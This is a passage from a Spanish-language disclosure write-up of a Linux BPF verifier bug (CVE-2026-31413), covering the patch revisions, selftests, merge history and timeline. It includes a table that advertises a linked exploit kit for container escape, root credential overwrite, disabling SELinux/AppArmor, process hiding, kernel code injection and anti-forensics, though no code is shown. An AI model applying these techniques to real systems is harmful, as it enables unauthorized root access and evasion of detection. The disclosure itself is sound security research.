El enfoque original era ingenioso: saltarse la instrucción y codificar el resultado, ahorrando un paso del verificador en la ruta bifurcada. Pero esa optimización solo funciona cuando el resultado de ejecutar la instrucción con dst = 0 es cero. Eso es cierto para AND y falso para OR. La corrección abandona la optimización: simplemente ejecuta la instrucción de nuevo y deja que el verificador calcule el valor correcto para cualquier código de operación.

Pasé por tres revisiones del parche:

  • v1: Agregué un parámetro opcode a maybe_fork_scalars() y establecí dst = K para OR, dst = 0 para AND en la ruta bifurcada. Funcionaba pero agregaba complejidad.
  • v2: Eduard Zingerman sugirió el enfoque de re-ejecutar: bifurcar a insn_idx en lugar de insn_idx + 1. Más simple, independiente del código de operación, elimina toda la clase de errores de saltar vs. ejecutar.
  • v3: Estilo de comentarios de una sola línea en las pruebas automáticas, según la revisión de Alexei Starovoitov. Misma corrección.

Fusionado como c845894ebd6f el 22 de marzo por Alexei Starovoitov. Pruebas automáticas en 0ad1734cc559. Revisado por Eduard Zingerman, aceptado por Amery Hung.

Las pruebas automáticas cubren tres casos:

  1. or_scalar_fork_rejects_oob — ARSH 63 + OR 8, value_size=8, acceso en desplazamiento 8 está fuera de límites → debe rechazar
  2. and_scalar_fork_still_works — prueba de regresión, la ruta AND aún acepta
  3. or_scalar_fork_allows_inbounds — OR 4, value_size=8, desplazamiento 4 está dentro de límites → debe aceptar

Linus fusionó d5273fd3ca0b ("Merge tag 'bpf-fixes'") con la nota: "Corrige bifurcación escalar no sólida para instrucciones OR (Daniel Wade)".


Cronología


Recursos

  • Commit de corrección: c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")
  • Pruebas automáticas: 0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")
  • Commit introductorio: bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")
  • Serie de parches: lore.kernel.org
  • Código de explotación + parches: github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape

Descargo de responsabilidad: Este código de explotación se publica con fines educativos y de investigación defensiva después de la divulgación responsable y la fusión del parche. No lo uses contra sistemas que no poseas o para los que no tengas autorización explícita para probar. El autor no es responsable por el uso indebido.

CVE-2026-31413 - Corregido en Linux 7.0-rc5. Afectado: 6.12.75+ (backport estable) hasta 7.0-rc4.

Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

Descargar herramienta
NivelArchivoCapacidad
1exploit.c / exploit_gke.cEscape de contenedor - secuestro de vtable + sobrescritura de modprobe_path (el exploit central descrito arriba)
v2exploit_gke_v2.cSobrescritura de credenciales solo con datos - sin secuestro de vtable, sin modprobe_path, sin interacción con el sistema de archivos. Detecta automáticamente el diseño de task_struct. Ventana de corrupción de mapa cero. El exploit recomendado.
2tier2_cred_overwrite.cSobrescritura directa de credenciales - recorrer la cadena de task_struct, encontrar la tarea actual, poner a cero uid/gid/caps en struct cred para root instantáneo
3tier3_syscall_hook.cEnganche de tabla de syscalls - recorrer las tablas de página para hacer escribible la tabla de syscalls, intercambiar un manejador, llamarlo desde espacio de usuario, restaurar
4tier4_security_disable.cDesactivación de subsistema de seguridad - deshabilitar SELinux, AppArmor, SMEP/SMAP/KPTI, dmesg_restrict, kptr_restrict; verificar vía /proc
5tier5_cross_container.cRobo de credenciales entre contenedores - enumerar estructuras nsproxy, encontrar el task_struct de un PID objetivo en otro espacio de nombres, modificar sus credenciales
6tier6_persistence.cPersistencia activada por kernel - sobrescribir modprobe_path y core_pattern para ejecutar cargas útiles del atacante en errores de formato binario y fallos
7tier7_hardware.cIntrospección a nivel de hardware - volcar IDT, leer/decodificar CR0/CR4, recorrer tablas de página con matriz de permisos completa, recuperar la base de KASLR
8tier8_dkom_cloak.cOcultación de procesos DKOM - bifurcar un hijo, encontrar su task_struct, desvincularlo de la lista de tareas del kernel (invisible para ps/iteradores de tareas), re-vincular
9tier9_code_inject.cInyección de código en vivo en el kernel - parchear PMD .text a escribible, sobrescribir el prólogo de sys_getuid con shellcode (mov rax, 0x1337; ret), llamar desde espacio de usuario, restaurar
10tier10_anti_forensics.cAnti-forense - volcar internos del búfer de anillo de printk, manipular variables forenses (ftrace, audit, dmesg_restrict, kptr_restrict), leer/escribir texto del búfer de registro del kernel
FechaEvento
2026-01-14bffacdb80b93 introduce maybe_fork_scalars() en 7.0-rc1
2026-03-04Error backportado a estable 6.12.y como dea9989a3f
2026-03-11Encuentro el error durante auditoría del verificador
2026-03-12Lectura/escritura fuera de límites confirmada, explotación funcional
2026-03-13PoC de escape de contenedor completo, video grabado
2026-03-14Parche v3 enviado a [email protected]
2026-03-22Corrección fusionada por Alexei Starovoitov en bpf/bpf.git
2026-04-06Linus fusiona la etiqueta bpf-fixes en la línea principal
2026-04-12CVE-2026-31413 asignado por Greg Kroah-Hartman